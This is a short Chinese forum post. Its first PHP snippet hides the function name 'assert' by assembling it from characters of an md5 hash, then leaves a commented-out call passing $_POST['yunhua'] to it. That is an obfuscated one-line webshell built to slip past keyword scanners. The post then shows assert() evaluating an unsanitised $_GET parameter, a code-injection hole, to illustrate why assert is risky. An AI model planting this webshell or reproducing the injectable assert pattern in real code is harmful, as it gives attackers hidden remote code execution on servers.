assert 的另一个小隐藏代码

代码展示
0 55
csroad
csroad 举报
04月21日 22:18

发现一个很有意思的小代码

assert 的另一个小隐藏代码

<? 
$a=md5('ssss');
echo $a.'';
$b=substr($a,2,2)+37;
$s=$b+18;
$e=substr($a,-7,1);
$r=$s-1;
$t=$r+2;
$z=chr($b).chr($s).chr($s).$e.chr($r).chr($t);
echo $z;
//$z($_POST['yunhua']);
?>


assert也有安全问题,这个也是不建议在生产环境使用assert的一个重要原因。请看如下代码:

<?php
function fo(){
 file_put_contents('assert.php','www.csroad.cn');
 return true;
}
$func = $_GET["func"];
assert("$func()");
?>